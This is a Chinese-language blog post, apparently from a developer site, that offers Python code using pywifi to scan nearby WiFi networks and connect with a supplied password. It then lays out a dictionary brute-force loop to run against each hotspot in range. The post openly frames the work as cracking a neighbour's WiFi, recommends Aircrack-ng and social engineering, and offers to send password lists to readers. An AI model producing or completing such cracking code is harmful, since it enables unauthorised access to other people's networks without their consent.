警告!本文仅可用在破解【邻居】的 WiFi 密码,不能用于其它,Python版本

2,532 阅读4分钟

上周写了一篇博客,《用 Python 脚本能获取 Wifi 密码么?能。》,大家反馈这仅仅是解决了本地电脑已链接 wifi 密码,有没有那种的,“坏一点的”,能获取别人 wifi 密码的技术呀。

有啊,这不就来了么。

⛳️ 核心第三方库

本次用到的第三方库是 pywifi,案例属于暴力破解,技巧是弱密码+循环尝试,模块安装使用如下命令。

pip install pywifi

该库开源地址为:github.com/awkman/pywi… ,可以随时关注其更新情况。

接下来先尝试一下最基础代码。

import pywifi  # 模块导入
from pywifi import const  # 常量导入

# 创建 wifi 对象
wifi = pywifi.PyWiFi()
# 获取第一个 wifi 网卡
ifaces = wifi.interfaces()[0]  # 获取到第一个无线网卡

print(ifaces)
print('无线网卡名为:', ifaces.name())

# 连接到wifi 时状态码是4,未连接是0
print("状态码:", ifaces.status())
# 使用内置常量 const.IFACE_CONNECTED为4
if ifaces.status() == const.IFACE_CONNECTED:
    print('已连接')
else:
    print('未连接')

获取的是 WLAN 连接状态。 在这里插入图片描述

基础掌握之后,就可以进行【暴力】破解了。

⛳️ 实战场景

先调用内置方法,获取附近 Wifi,下述代码运行之前一定要增加停顿时间,否则会出现无法找到 wiki 名称情况。

import pywifi  # 模块导入
from pywifi import const  # 常量导入
import time

# 创建 wifi 对象
wifi = pywifi.PyWiFi()
# 获取第一个 wifi 网卡
ifaces = wifi.interfaces()[0]  # 获取到第一个无线网卡

# 执行扫描
ifaces.scan()

# 停顿一段时间,等待扫描结果
time.sleep(3)
wifi_list = ifaces.scan_results()

print(wifi_list)
for w in wifi_list:
    print(w.ssid)

运行代码,输出如下结果。

360WiFi-Cxxxx
CMCC-6pqa
CMCC-CUfQ
@PHIxxxx_E5
yuelxxxxx_EXT2.4G
1303
360WiFi-C8xxxx-5G

有这些 Wifi 名称,我们就可以进行连接测试了,下面的代码拿一个我们知道的 Wifi 热点进行测试。

import pywifi  # 模块导入
from pywifi import const  # 常量导入
import time


def connect_wifi():
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]

    print(ifaces)

    # 如果连接 wifi 首先断开
    ifaces.disconnect()
    time.sleep(2)
    wifi_status = ifaces.status()
    # 未连接,调用如下代码
    if wifi_status == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 设置要连接WiFi的名称
        profile.ssid = "我们自己的 Wifi "
        # 检测网卡状态
        profile.auth = const.AUTH_ALG_OPEN
        # 设置 wifi 加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 设置加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = '我自己的 Wifi 密码'
        # 删除连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新连接文件
        new_profile = ifaces.add_network_profile(profile)

        # 连接 wifi
        ifaces.connect(new_profile)
        # 等待wifi连接的时间,可长可短,具体自行设置
        time.sleep(2)

        if ifaces.status() == const.IFACE_CONNECTED:
            print("连接成功")
        else:
            print("连接失败")
        # 断开连接
        ifaces.disconnect()
    else:
        pass


if __name__ == '__main__':
    connect_wifi()

再总结一下核心逻辑,实现了 Wifi 列表获取之后,就通过暴力循环来实现密码解析了。

实战中也可以搜索一下 wifi 密码本,然后逻辑如下。

  1. 通过 pywifi 模块扫描所有 Wifi 热点
  2. 迭代各个热点
  3. 读取密码本文件,然后逐一使用密码连接当前正在迭代的 Wifi,获取连接状态
  4. 连接成功记录到文件中,连接失败舍弃掉
  5. 密码本遍历完毕,更换下一个热点,继续执行相同操作。

一些疑问的解答

这种方式破解密码速度怎么样?快么 很慢,除非对方使用的是 12345678,11111111,66666666 这样简单的密码。

这代码到底有没有用? 对于获取 Wifi 密码来说,这代码没啥毛病,但是效率不高,实战中效果并不理想。

可以使用多线程破解吗 不可以,电脑网卡同时只能连接一个 Wifi,无法使用多线程或者多进程操作。当然你在电脑上多安装几个网卡,那就另说了。

有没有好一些的 wifi 破解思路 研究单片机 Wifi 攻击去吧,当然使用社工直接去问,更快速一些。 当然也可以研究一下 Aircrack-ng ,也能获取到 wifi 密码。

密码本哪里有 评论区留言邮箱或者联系方式,或者点击下面卡片,找橡皮擦索取。

回到本文标题《能否破解邻居的 WiFI 密码呢?》,以各位群友测试反馈,还挺简单的!!!

本文正在参加「金石计划 . 瓜分6万现金大奖」